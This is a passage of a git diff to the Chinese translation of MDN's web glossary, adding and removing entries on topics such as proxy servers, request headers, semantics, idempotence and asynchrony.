+ https://example.com/app2
different schemes
http://example.com
+ http://www.example.com
+ http://myapp.example.com
different hosts
http://example.com
+ http://example.com:8080
different ports
+ +

了解更多

+ +

详细信息,请看同源策略

diff --git a/files/zh-cn/glossary/progressive_enhancement/index.html b/files/zh-cn/glossary/progressive_enhancement/index.html new file mode 100644 index 0000000000..7a0b586b9a --- /dev/null +++ b/files/zh-cn/glossary/progressive_enhancement/index.html @@ -0,0 +1,24 @@ +--- +title: 渐进增强 +slug: Glossary/渐进增强 +tags: + - 无障碍 + - 设计 + - 词汇表 +translation_of: Glossary/Progressive_Enhancement +--- +

渐进增强(Progressive enhancement)是一种设计理念,其核心是为尽可能多的用户提供基本内容和功能,同时进一步为现代化浏览器用户提供最佳体验,运行所有需要的代码。

+ +

特性检测通常用于确定浏览器是否可以处理高级内容,而polyfill通常用于使用JavaScript构建缺少的功能。

+ +

另外请关注无障碍支持 — 尽可能提供备选方案。

+ +

这个技术很有用,因为它让Web开发者,在专注开发最强大的网站同时,和某些未知的用户代理在访问网站时发生问题,两者之间达到权衡。 {{Glossary("优雅降级")}} 相关而不同 — 通常被视为与渐进增强相反的方向。实际上,这两种方法都是有效的,并且通常可以相互补充。

+ +

了解更多

+ +

基本知识

+ + diff --git a/files/zh-cn/glossary/proxy_server/index.html b/files/zh-cn/glossary/proxy_server/index.html new file mode 100644 index 0000000000..86774d0a71 --- /dev/null +++ b/files/zh-cn/glossary/proxy_server/index.html @@ -0,0 +1,24 @@ +--- +title: 代理服务器 +slug: Glossary/代理服务器 +tags: + - 代理 + - 服务器 + - 术语 +translation_of: Glossary/Proxy_server +--- +

代理服务器 是用来在不同Internet网络之间进行导航的中继软件或者计算机。 它们有助于访问万维网上的内容。代理服务器会拦截请求并提供响应;它不一定会转发所有请求(比如说在有缓存的情况), 而且也许会修改请求或者响应 (比如说在两个网络环境边界的时候修改请求头部信息)。

+ +

代理可以存在用户自己的电脑上,或者任何其他在用户计算机与互联网上的远程服务器之间的任何地方。一般来说有两种代理类型:

+ + + +

更多资料

+ + diff --git a/files/zh-cn/glossary/pseudo-class/index.html b/files/zh-cn/glossary/pseudo-class/index.html new file mode 100644 index 0000000000..56c818928f --- /dev/null +++ b/files/zh-cn/glossary/pseudo-class/index.html @@ -0,0 +1,18 @@ +--- +title: 伪类 +slug: Glossary/伪类 +tags: + - CSS + - 伪类 + - 选择器 +translation_of: Glossary/Pseudo-class +--- +

在 CSS 中, 一个伪类选择器只依据元素的状态, 而不是元素在文档树中的信息, 来选择目标对象.举例来说, 选择器 a{{ cssxref(":visited") }} 仅仅应用于那些用户已经浏览过的连接.

+ +

了解更多

+ +

技术参考

+ + diff --git a/files/zh-cn/glossary/request_header/index.html b/files/zh-cn/glossary/request_header/index.html new file mode 100644 index 0000000000..666ace7ea4 --- /dev/null +++ b/files/zh-cn/glossary/request_header/index.html @@ -0,0 +1,44 @@ +--- +title: Request header(请求头) +slug: Glossary/请求头 +tags: + - HTTP + - 术语 +translation_of: Glossary/Request_header +--- +

请求头是 {{glossary("header", "HTTP 头")}}的一种,它可在 HTTP 请求中使用,并且和请求主体无关 。某些请求头如 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language", "Accept-*")}}、 {{HTTPHeader("If-Modified-Since", "If-*")}} 允许执行条件请求。某些请求头如:{{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} 和 {{HTTPHeader("Referer")}} 描述了请求本身以确保服务端能返回正确的响应。

+ +

并非所有出现在请求中的 HTTP 首部都属于请求头,例如在 {{HTTPMethod("POST")}} 请求中经常出现的 Content-Length 实际上是一个代表请求主体大小的 entity header,虽然你也可以把它叫做请求头。

+ +

此外,CORS 定义了一个叫做 {{glossary('simple header', 'simple headers')}} 的集合,它是请求头集合的一个子集。如果某次请求是只包含 {{glossary('simple header', 'simple header')}} 的话,则被认为是简单请求,不会触发请求预检({{glossary("preflight request", "preflight")}})。

+ +

下面是一个 HTTP 请求的请求头:

+ +
GET /home.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate, br
+Referer: https://developer.mozilla.org/testpage.html
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+If-Modified-Since: Mon, 18 Jul 2016 02:36:04 GMT
+If-None-Match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a"
+Cache-Control: max-age=0
+ +

严格来说在这个例子中的 {{HTTPHeader("Content-Length")}} 不是一个请求头,而是一个实体头({{glossary("entity header")}}):

+ +
POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128
+
+ +

深入了解

+ +

技术信息

+ + diff --git a/files/zh-cn/glossary/semantics/index.html b/files/zh-cn/glossary/semantics/index.html new file mode 100644 index 0000000000..54cb20f0b9 --- /dev/null +++ b/files/zh-cn/glossary/semantics/index.html @@ -0,0 +1,97 @@ +--- +title: Semantics(语义) +slug: Glossary/语义 +tags: + - 编程 + - 语义 + - 语义化 +translation_of: Glossary/Semantics +--- +

在编程中,语义指的是一段代码的含义 — 例如 "运行这行 JavaScript 代码会产生怎样的影响?", 或者 "这个 HTML 的元素有什么作用,扮演了什么样的角色"(而不只是 "它看上去像是什么?"。)

+ +

JavaScript 中的语义

+ +

JavaScript 中,考虑一个函数,该函数接受一个字符串参数,然后返回一个以该字符串为文本内容的{{htmlelement("li")}}元素。如果该函数调用是build('Peach'),你会需要去看代码才能理解该函数做了什么吗,如果是createLiWithContent('Peach')呢?

+ +

CSS 中的语义

+ +

CSS 中,考虑给一个列表设置样式,li 元素代表不同类型的水果。通过 div > ul > li,你能知道 DOM 的那一部分会被选择中吗?但如果是 .fruits__item 呢?

+ +

HTML 中的语义

+ +

HTML 中,例如,{{htmlelement("h1")}} 元素是一个语义化元素,赋予了它包裹着的文本“这个页面中最高级别标题功能“的角色 (或含义) 。

+ +
<h1>This is a top level heading</h1>
+ +

默认情况下,绝大多数浏览器的 user agent stylesheet 将会赋予一个 {{htmlelement("h1")}} 元素很大的字号尺寸从而使它看上去更像是一个标题(虽然你可以把它格式化为任何你想要的样式),但是更重要的是它的语义会被在很多地方以不同的方式被使用到, 例如搜索引擎会把它包含的内容作为一个重要的关键词,从而影响这个页面在搜索结果中的排序(参见{{ glossary ("SEO")}}),而且屏幕阅读器会使用它来帮助视障用户更好的使用这个页面。

+ +

另一方面,你可以通过样式(CSS)来让任何的元素看上去像是一个最高级别的标题,就像下面所展示的方法一样:

+ +
<span style="font-size: 32px; margin: 21px 0;">Is this a top level heading?</span>
+ +

这将会把这个元素渲染得像是一个最高级别的标题,但是它的值没有对应到最“最高级别标题”这一语义,所以在此之上,它不会获得更多额外的描述(只是一个普通“span”元素而不是“最高级别标题”这一语义)。所以在恰当的需求下使用恰当的HTML元素是一个不错的主意。

+ +

HTML should be coded to represent the data that will be populated and not based on its default presentation styling. Presentation (how it should look), is the sole responsibility of CSS.

+ +

Some of the benefits from writing semantic markup are as follows:

+ + + +

When approaching which markup to use, ask yourself, "What element(s) best describe/represent the data that I'm going to populate?" For example, is it a list of data?; ordered, unordered?; is it an article with sections and an aside of related information?; does it list out definitions?; is it a figure or image that needs a caption?; should it have a header and a footer in addition to the global site-wide header and footer?; etc.

+ +

语义化元素

+ +

这是一些语义化的元(source)。

+ + + +

了解更多

+ + diff --git a/files/zh-cn/glossary/serialization/index.html b/files/zh-cn/glossary/serialization/index.html new file mode 100644 index 0000000000..8405434f3e --- /dev/null +++ b/files/zh-cn/glossary/serialization/index.html @@ -0,0 +1,23 @@ +--- +title: Serialize +slug: Glossary/Serialize +tags: + - Glossary + - JavaScript + - Serialize +translation_of: Glossary/Serialization +translation_of_original: Glossary/Serialize +--- +

序列化(Serialization )意味着将 {{Glossary("object", "对象")}} 或某种其他类型的数据结构转换为可存储格式(例如,文件或 {{Glossary("buffer")}})。

+ +

在 {{Glossary("JavaScript")}} 中,你可以通过调用 {{jsxref("JSON.stringify()")}} {{Glossary("function", "函数")}}将某个值序列化为 {{Glossary("JSON")}} 格式的 {{Glossary("string", "字符串")}}。

+ +

{{Glossary("CSS")}} 值可以通过调用 {{domxref("CSSStyleDeclaration.getPropertyValue()")}} 函数来序列化。

+ +

了解更多

+ +

General knowledge

+ + diff --git a/files/zh-cn/glossary/serialize/index.html b/files/zh-cn/glossary/serialize/index.html deleted file mode 100644 index 8405434f3e..0000000000 --- a/files/zh-cn/glossary/serialize/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Serialize -slug: Glossary/Serialize -tags: - - Glossary - - JavaScript - - Serialize -translation_of: Glossary/Serialization -translation_of_original: Glossary/Serialize ---- -

序列化(Serialization )意味着将 {{Glossary("object", "对象")}} 或某种其他类型的数据结构转换为可存储格式(例如,文件或 {{Glossary("buffer")}})。

- -

在 {{Glossary("JavaScript")}} 中,你可以通过调用 {{jsxref("JSON.stringify()")}} {{Glossary("function", "函数")}}将某个值序列化为 {{Glossary("JSON")}} 格式的 {{Glossary("string", "字符串")}}。

- -

{{Glossary("CSS")}} 值可以通过调用 {{domxref("CSSStyleDeclaration.getPropertyValue()")}} 函数来序列化。

- -

了解更多

- -

General knowledge

- - diff --git a/files/zh-cn/glossary/simple_header/index.html b/files/zh-cn/glossary/simple_header/index.html new file mode 100644 index 0000000000..c2c1f71d4f --- /dev/null +++ b/files/zh-cn/glossary/simple_header/index.html @@ -0,0 +1,38 @@ +--- +title: 简单头部 +slug: Glossary/简单头部 +tags: + - HTTP + - 简单头部 + - 跨域 +translation_of: Glossary/Simple_header +--- +

以下的 HTTP headers都可以被认为是简单头部:

+ + + +

或者以下客户端头部之一的也可以被认为是简单头部:

+ + + +

当只包含简单头部时,一个请求则被视为简单请求并且在CORS中不需要发送{{glossary("preflight request")}}。

+ +

Learn more

+ + diff --git a/files/zh-cn/glossary/sloppy_mode/index.html b/files/zh-cn/glossary/sloppy_mode/index.html new file mode 100644 index 0000000000..3856bd5b35 --- /dev/null +++ b/files/zh-cn/glossary/sloppy_mode/index.html @@ -0,0 +1,16 @@ +--- +title: 正常模式 +slug: Glossary/正常模式 +translation_of: Glossary/Sloppy_mode +--- +

因为翻译原因,正常模式也被翻译为——马虎模式/稀松模式/懒散模式

+ +

{{Glossary("ECMAScript")}} 5 以及其后续的版本可以选择性的使用一种新模式——严格模式(strict mode),这种严格模式在多个方面改变了JavaScript的语义,从而使得当出现问题时我们更好的理解到底发生了什么。

+ +

常见的,非严格模式——平时我们会称之为正常模式(sloppy mode),这并不是一个官方说法,但是你会经常见到如上的一些说法,其意义就是指代非严格模式,即正常模式。

+ +

相关链接

+ + diff --git a/files/zh-cn/glossary/speculative_parsing/index.html b/files/zh-cn/glossary/speculative_parsing/index.html new file mode 100644 index 0000000000..bded58d8fd --- /dev/null +++ b/files/zh-cn/glossary/speculative_parsing/index.html @@ -0,0 +1,29 @@ +--- +title: 对页面预解析进行优化 +slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing +translation_of: Glossary/speculative_parsing +--- +

在传统的浏览器中,HTML 解析器运行于主线程之中,并且在遇到 </script> 标签后会被阻塞,直到脚本从网络中被获取和执行。 Firefox 4 和后续的版本支持从主线程中分离的预解析技术。 当脚本在获取和执行的过程中,预解析技术能提前解析HTML文档。在Firefox 3.5 和 3.6中, HTML 解析器能够在文档流中预先加载脚本、层叠样式表和图片。然而, 在Firefox 4 和后续的版本中 HTML 解析器也预先运行HTML 树构建算法。 这一举措的优点是当预解析成功后,就没有必要再重新解析已经扫描过并且成功下载的脚本,层叠样式表和图片;缺点就是当预解析失败之后,有很多工作需要去做。

+ +

这篇文档旨在帮助你避免预解析失败和页面加载变慢。

+ +

使预加载成功

+ +

让脚本、层叠样式表和图片预加载成功的规则只有一条:

+ + + +

避免树构建器的输出丢失

+ +

当document.write() 改变了文档树的状态时,树构建器的预构建过程会失败。 例如,当所有被document.write() 插入的内容被解析之后</script> 标签后的预处理状态不再持有。 然而,只有不寻常地使用 document.write() 才会产生问题。 这些事情需要避免:

+ + diff --git a/files/zh-cn/glossary/time_to_first_byte/index.html b/files/zh-cn/glossary/time_to_first_byte/index.html new file mode 100644 index 0000000000..8bcc8f0ce9 --- /dev/null +++ b/files/zh-cn/glossary/time_to_first_byte/index.html @@ -0,0 +1,20 @@ +--- +title: 第一字节时间 +slug: Glossary/第一字节时间 +translation_of: Glossary/time_to_first_byte +--- +

第一字节时间(TTFB)是指从浏览器请求页面到从浏览器接收来自服务器发送的信息的第一个字节的时间。这一次包括DNS查找和使用(三次)TCP握手和SSL握手建立连接(如果请求是通过https发出的)。

+ + + +

TTFB是从请求开始到响应开始之间所用的时间,以毫秒为单位:

+ +
TTFB = responseStart - requestStart
+ +

See Also:

+ + diff --git a/files/zh-cn/glossary/type_conversion/index.html b/files/zh-cn/glossary/type_conversion/index.html new file mode 100644 index 0000000000..7d1eb4c23e --- /dev/null +++ b/files/zh-cn/glossary/type_conversion/index.html @@ -0,0 +1,27 @@ +--- +title: Type conversion(类型转换) +slug: Glossary/类型转换 +tags: + - Type + - 术语 + - 类型 +translation_of: Glossary/Type_Conversion +--- +

类型转换(或类型变换;英文:Type conversion, typecasting)是指将数据由一种类型变换为另一种类型。在编译器自动赋值时,会发生隐式转换,但在代码中,也可以用一些写法强制要求进行显式转换。例如:在表达式 5 + 2.0 中,整数 5 被隐式转换为浮点数,但 Number("0x11") 和 "0x11" 则被显式转换为数字 17。

+ + diff --git a/files/zh-cn/glossary/xhtml/index.html b/files/zh-cn/glossary/xhtml/index.html new file mode 100644 index 0000000000..e562ccca94 --- /dev/null +++ b/files/zh-cn/glossary/xhtml/index.html @@ -0,0 +1,15 @@ +--- +title: XHTML +slug: XHTML +translation_of: Glossary/XHTML +--- +

W3C标准 XHTML

+ +

XHTML(eXtensible HyperText Markup Language,可扩展超文本标记语言)

+ +

2000年底,国际W3C(World Wide Web Consortium)组织公布发行了XHTML 1.0版本。XHTML 1.0是一种在HTML 4.0基础上优化和改进的的新语言,目的是基于XML应用。XHTML是一种增强了的HTML,它的可扩展性和灵活性将适应未来网络应用更多的需求。

+ +

 

+ +

XHTML是在2000年1月26日被国际标准组织机构W3C(World Wide web Consortium)定为一个标准的,认为是HTML的一个最新版本,并且将逐渐替换HTML。现在所有的浏览器都支持XHTML,XHTML兼容 HTML 4.0。也有人认为XHTML就是HTML4.01。如果你在学习过程中自己编写了一个符合标准的站,你可以通过W3C的验证,验证通过后你将会得到一个标志,通常是XHTML1.0认证和CSS验证。大家可以去www.w3.org 这个站点去验证你的站点,如果符合那两个规则则会分别给我们两段代码加到你的网页上向别人展示说明你采用了标准建站。
+ 请认真阅读XHTML相关知识和基础教程,以便您能准确的了解XHTML的新特性,以及应用技巧,还可以得到w3c的有力支持。

diff --git "a/files/zh-cn/glossary/\344\270\273\350\275\264/index.html" "b/files/zh-cn/glossary/\344\270\273\350\275\264/index.html" deleted file mode 100644 index c3c8b91de1..0000000000 --- "a/files/zh-cn/glossary/\344\270\273\350\275\264/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: 主轴 -slug: Glossary/主轴 -translation_of: Glossary/Main_Axis ---- -

主轴是由弹性容器 {{glossary("flexbox")}} 中弹性方向 {{cssxref("flex-direction")}} 属性所定义的的。弹性方向 flex-direction  有4个可能的值,分别是:

- - - -

选择行 row 或者 row-reverse 反向行,那么主轴方向就会沿着行的走向。

- -

In this image the flex-direction is row which forms the main axis

- -

选择列 column 或者反向列 column-reverse ,那么主轴就会从上至下沿着块的走向。

- -

- -

在主轴上,你可以用 flex 属性来增加可用空间,从而控制弹性元素的尺寸,你还可以用 justify-content 属性来控制元素周围的空间、间距。

- -

学习更多

- -

属性参考

- -
-
    -
  • {{cssxref("flex-basis")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex-grow")}}
  • -
  • {{cssxref("flex-shrink")}}
  • -
  • {{cssxref("justify-content")}}
  • -
  • {{cssxref("flex")}}
  • -
-
- -

拓展阅读

- - - -
-
-
diff --git "a/files/zh-cn/glossary/\344\272\244\345\217\211\350\275\264/index.html" "b/files/zh-cn/glossary/\344\272\244\345\217\211\350\275\264/index.html" deleted file mode 100644 index 27412c4d85..0000000000 --- "a/files/zh-cn/glossary/\344\272\244\345\217\211\350\275\264/index.html" +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: 交叉轴 -slug: Glossary/交叉轴 -translation_of: Glossary/Cross_Axis ---- -

弹性容器 {{glossary("flexbox")}} 的交叉轴和主轴 {{glossary("main axis")}} 垂直,因此如果弹性方向是 {{cssxref("flex-direction")}} 行 row 或者反向行 row-reverse ,那么交叉轴就是从上至下地垂直走向的。

- -

The cross axis runs down the column

- -

如果你的主轴是列 column 或者反向列 column-reverse ,那么交叉轴就是水平走向的。

- -

The cross axis runs along the row.

- -

要在交叉轴上对齐,是通过弹性容器的 align-items 属性来控制的,或者通过弹性元素的 align-self 属性来单独决定的对齐方式。在多行弹性容器中,交叉轴上有多余控件的话,你还可以用 align-content 来控制行的间距。

- -

学习更多

- -

属性参考

- -
-
    -
  • {{cssxref("align-content")}}
  • -
  • {{cssxref("align-items")}}
  • -
  • {{cssxref("align-self")}}
  • -
  • {{cssxref("flex-wrap")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex")}}
  • -
-
- -

拓展阅读

- - - - - -
-
-
diff --git "a/files/zh-cn/glossary/\344\273\243\347\220\206\346\234\215\345\212\241\345\231\250/index.html" "b/files/zh-cn/glossary/\344\273\243\347\220\206\346\234\215\345\212\241\345\231\250/index.html" deleted file mode 100644 index 86774d0a71..0000000000 --- "a/files/zh-cn/glossary/\344\273\243\347\220\206\346\234\215\345\212\241\345\231\250/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 代理服务器 -slug: Glossary/代理服务器 -tags: - - 代理 - - 服务器 - - 术语 -translation_of: Glossary/Proxy_server ---- -

代理服务器 是用来在不同Internet网络之间进行导航的中继软件或者计算机。 它们有助于访问万维网上的内容。代理服务器会拦截请求并提供响应;它不一定会转发所有请求(比如说在有缓存的情况), 而且也许会修改请求或者响应 (比如说在两个网络环境边界的时候修改请求头部信息)。

- -

代理可以存在用户自己的电脑上,或者任何其他在用户计算机与互联网上的远程服务器之间的任何地方。一般来说有两种代理类型:

- - - -

更多资料

- - diff --git "a/files/zh-cn/glossary/\344\274\230\351\233\205\351\231\215\347\272\247/index.html" "b/files/zh-cn/glossary/\344\274\230\351\233\205\351\231\215\347\272\247/index.html" deleted file mode 100644 index acd22a665e..0000000000 --- "a/files/zh-cn/glossary/\344\274\230\351\233\205\351\231\215\347\272\247/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Graceful degradation(优雅降级) -slug: Glossary/优雅降级 -tags: - - 优雅降级 - - 设计 - - 词汇表 -translation_of: Glossary/Graceful_degradation ---- -

优雅降级(Graceful degradation)是一种设计理念,其核心是尝试构建可在最新浏览器中运行的现代网站/应用程序,而作为降级体验,在低版本浏览器中仍然提供必要的内容和功能。

- -

{{Glossary("Polyfill","Polyfill")}}可用于使用JavaScript构建缺少的功能,但应尽可能提供样式和布局等功能的可接受替代方案,例如使用CSS级联或HTML回退行为。在处理常见的HTML和CSS问题中可以找到一些很好的例子。

- -

这个技术很有用,因为它让Web开发者,在专注开发最强大的网站同时,和某些未知的用户代理,在访问网站时发生的问题间达到权衡。{{Glossary("渐进增强")}}相关而不同—通常被看做优雅降级的相反行为。实际上,这两种方法都是有效的,并且通常可以相互补充。

- -

了解更多

- -

基本知识

- - - - diff --git "a/files/zh-cn/glossary/\344\274\252\347\261\273/index.html" "b/files/zh-cn/glossary/\344\274\252\347\261\273/index.html" deleted file mode 100644 index 56c818928f..0000000000 --- "a/files/zh-cn/glossary/\344\274\252\347\261\273/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 伪类 -slug: Glossary/伪类 -tags: - - CSS - - 伪类 - - 选择器 -translation_of: Glossary/Pseudo-class ---- -

在 CSS 中, 一个伪类选择器只依据元素的状态, 而不是元素在文档树中的信息, 来选择目标对象.举例来说, 选择器 a{{ cssxref(":visited") }} 仅仅应用于那些用户已经浏览过的连接.

- -

了解更多

- -

技术参考

- - diff --git "a/files/zh-cn/glossary/\345\205\203\347\264\240/index.html" "b/files/zh-cn/glossary/\345\205\203\347\264\240/index.html" deleted file mode 100644 index d199da5b07..0000000000 --- "a/files/zh-cn/glossary/\345\205\203\347\264\240/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Element(元素) -slug: Glossary/元素 -tags: - - HTML - - XML - - 术语 - - 编程 -translation_of: Glossary/Element ---- -

元素是网页的一部分,在 {{glossary("XML")}} 和 {{glossary("HTML")}} 中,一个元素可以包含一个数据项,或是一块文本,或是一张照片,亦或是什么也不包含。 一个典型的元素包括一个具有一些{{glossary("attribute", "属性")}}的开始标签,中间的文本内容和一个结束标签。
- Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

- -

元素和{{glossary("tag", "标签")}}不是同一种概念。源代码中的标签用来标识元素的开始或结束,而元素是文档对象模型({{Glossary("DOM")}})中的一部分,文档对象模型会被{{glossary("browser", "浏览器")}}渲染、展示为页面。

- -

相关信息

- - diff --git "a/files/zh-cn/glossary/\345\215\241\347\211\207\345\210\206\347\261\273\346\263\225/index.html" "b/files/zh-cn/glossary/\345\215\241\347\211\207\345\210\206\347\261\273\346\263\225/index.html" deleted file mode 100644 index 9d5a3c4ff5..0000000000 --- "a/files/zh-cn/glossary/\345\215\241\347\211\207\345\210\206\347\261\273\346\263\225/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: 卡片分类法 -slug: Glossary/卡片分类法 -tags: - - 卡片分类法 - - 名称 - - 设计 -translation_of: Glossary/Card_sorting ---- -

卡片分类法是一种简单的技巧 ,{{glossary("Information architecture")}} 通常是邀请参与网站开发的设计师(或是开发其他类型产品的人),让他们写下他们认为这个产品应当包含的内容、服务和功能,然后将这些功能分组。一个很好的例子是考虑网站上每个页面应当显示什么样的内容。这个名字源于这个分类是通过把要分类的项目写在卡片上,再通过排列卡片完成的。

- -

了解更多

- -

常识

- - diff --git "a/files/zh-cn/glossary/\345\234\260\345\235\200\350\267\257\347\224\261\345\217\202\346\225\260\345\237\237/index.html" "b/files/zh-cn/glossary/\345\234\260\345\235\200\350\267\257\347\224\261\345\217\202\346\225\260\345\237\237/index.html" deleted file mode 100644 index 8c30be2d15..0000000000 --- "a/files/zh-cn/glossary/\345\234\260\345\235\200\350\267\257\347\224\261\345\217\202\346\225\260\345\237\237/index.html" +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: ARPA -slug: Glossary/地址路由参数域 -tags: - - 专业术语 - - 互联网服务基础设施 -translation_of: Glossary/ARPA ---- -

.arpa (address and routing parameter area, 地址路由参数域 ) 是专门用来互联网基础设施配置的顶级域{{glossary("TLD","top-level domain")}} ,尤其是DNS反向解析,即从 {{glossary("IP 地址")}})找出旗下的主机名(i.e., find the {{glossary('domain name')}} 。

- -

了解更多

- -

通用知识库

- - diff --git "a/files/zh-cn/glossary/\345\237\237\345\220\215/index.html" "b/files/zh-cn/glossary/\345\237\237\345\220\215/index.html" deleted file mode 100644 index cb88cc041b..0000000000 --- "a/files/zh-cn/glossary/\345\237\237\345\220\215/index.html" +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: 域名 -slug: Glossary/域名 -translation_of: Glossary/Domain_name ---- -

域名是在 {{Glossary("Internet", "互联网")}} 的网站的地址。域名被用于 {{Glossary("URL","URL")}} 识别一个服务器属于哪个特定的网站。域名包含由句号点(”.“)分隔的名称(标签)的分级序列并以 {{glossary("TLD","扩展名")}} 作为结尾。

- -

了解更多

- -

基础知识

- - diff --git "a/files/zh-cn/glossary/\345\237\272\347\272\277/index.html" "b/files/zh-cn/glossary/\345\237\272\347\272\277/index.html" deleted file mode 100644 index 2158190685..0000000000 --- "a/files/zh-cn/glossary/\345\237\272\347\272\277/index.html" +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: 基线 -slug: Glossary/基线 -translation_of: Glossary/baseline ---- -

基线是指欧洲和西亚文字排版中,用于在上面放置字符的一条假象的基准线。

- -

字符的降部比如 g 和 p 会向下超出基线, 带弧形的会向上和向下扩展的字形( {{Glossary("glyph", "Glyphs")}} ),比如 C 或 3 会略微向下超出基线。

- -

东亚文字没有基线,他们的字形放置在方盒子,没有升部和降部。

- -

学习更多

- -

基本知识

- - - -

技术参考

- - diff --git "a/files/zh-cn/glossary/\345\255\227\347\254\246\347\274\226\347\240\201/index.html" "b/files/zh-cn/glossary/\345\255\227\347\254\246\347\274\226\347\240\201/index.html" deleted file mode 100644 index 40dbc7ca8a..0000000000 --- "a/files/zh-cn/glossary/\345\255\227\347\254\246\347\274\226\347\240\201/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Character encoding(字符编码) -slug: Glossary/字符编码 -tags: - - 术语 - - 术语表 -translation_of: Glossary/character_encoding ---- -

一套编码系统定义字节与文本间的映射。一连串字节文本能让不同文本解释得以进行。我们指明一套特定编码系统时(如 UTF-8),也就指明了字节得以解释的方式。

- -

例如,我们通常在 HTML 里声明 UTF-8 字符编码,使用如下:

- -
-
<meta charset="utf-8">
- -

这就确保你在 HTML 文档中可以使用几乎任何一种人类语言中的字符,并且会稳定显示。

-
- -

 了解更多

- -

常识

- - diff --git "a/files/zh-cn/glossary/\345\271\202\347\255\211/index.html" "b/files/zh-cn/glossary/\345\271\202\347\255\211/index.html" deleted file mode 100644 index cc8b22c143..0000000000 --- "a/files/zh-cn/glossary/\345\271\202\347\255\211/index.html" +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 幂等 -slug: Glossary/幂等 -tags: - - Glossary - - WebMechanics -translation_of: Glossary/Idempotent ---- -

一个HTTP方法是幂等的,指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下, {{HTTPMethod("GET")}} , {{HTTPMethod("HEAD")}} , {{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}}  等方法都是幂等的,而  {{HTTPMethod("POST")}}  方法不是。所有的 {{glossary("safe")}} 方法也都是幂等的。

- -

幂等性只与后端服务器的实际状态有关,而每一次请求接收到的状态码不一定相同。例如,第一次调用 {{HTTPMethod("DELETE")}} 方法有可能返回 {{HTTPStatus("200")}} ,但是后续的请求可能会返回 {{HTTPStatus("404")}} 。 {{HTTPMethod("DELETE")}} 的言外之意是,开发者不应该使用 DELETE 法实现具有删除最后条目功能的 RESTful API。

- -

需要注意的是,服务器不一定会确保请求方法的幂等性,有些应用可能会错误地打破幂等性约束。

- -

GET /pageX HTTP/1.1 幂等的。连续调用多次,客户端接收到的结果都是一样的:

- -
GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-
- -

POST /add_row HTTP/1.1 是幂等的。如果调用多次,就会增加多行记录:

- -
POST /add_row HTTP/1.1
-POST /add_row HTTP/1.1   -> Adds a 2nd row
-POST /add_row HTTP/1.1   -> Adds a 3rd row
-
- -

DELETE /idX/delete HTTP/1.1 幂等的,即便是不同请求之间接收到的状态码不一样:

- -
DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
-DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
-DELETE /idX/delete HTTP/1.1   -> Returns 404
- -

了解更多

- -

基本知识

- - - -

技术知识

- - diff --git "a/files/zh-cn/glossary/\345\274\202\346\255\245/index.html" "b/files/zh-cn/glossary/\345\274\202\346\255\245/index.html" deleted file mode 100644 index 0bc0353e3d..0000000000 --- "a/files/zh-cn/glossary/\345\274\202\346\255\245/index.html" +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: 异步 -slug: Glossary/异步 -tags: - - 异步 - - 术语表 -translation_of: Glossary/Asynchronous ---- -

异步两个或两个以上的对象或事件同时存在或发生(或多个相关事物的发生无需等待其前一事物的完成)。在计算机技术中,"异步"一词被用于两大语境。

- -
-
网络与通信
-
-

异步通信是一种在双方或多方之间交换消息的方式。其中每个参与方各自在他们方便或可操作的情况下接收并处理消息,而不是在收到消息后立即进行处理。 另外,消息的发送无需等待确认信息,前提是如果出现问题,接收方将请求更正或以其他方式处理该情况。

- -

对人类来说,电子邮件就是一种异步通信方式;发送者发送了一封邮件,接着接收者会在方便时读取和回复该邮件,而不是马上这样做。双方可以继续随时发送和接收信息,而无需双方安排何时进行操作。

- -

在软件进行异步通信时,一个程序可能会向另一软件(如服务器)请求信息,并在等待回复的同时继续执行其他操作。例如,AJAX(Asynchronous JavaScript and {{Glossary("XML")}})编程技术(现在通常简写为"Ajax",不过现在的应用不常用XML,而是用{{Glossary("JSON")}})就是这样一种机制,它通过HTTP从服务器请求较少的数据,当结果可被返回时才返回结果,而不是立即返回。

-
-
软件设计
-
-

异步软件设计通过构建代码扩展了异步的概念,按照这种设计编写的代码使得程序能够要求一个任务与先前的一个(或多个)任务一起执行,而无需为了等待它们完成而停止执行。 当后来的任务完成时,程序将使用约定好的机制通知先前的任务,以便让它知道任务已经完成,以及如果有结果存在的话,这个结果是可用的。

- -

还有许多用来实现异步软件的编程技术。查看文章Asynchronous JavaScript来了解它们吧。

-
-
- -

了解更多

- -

技术参考

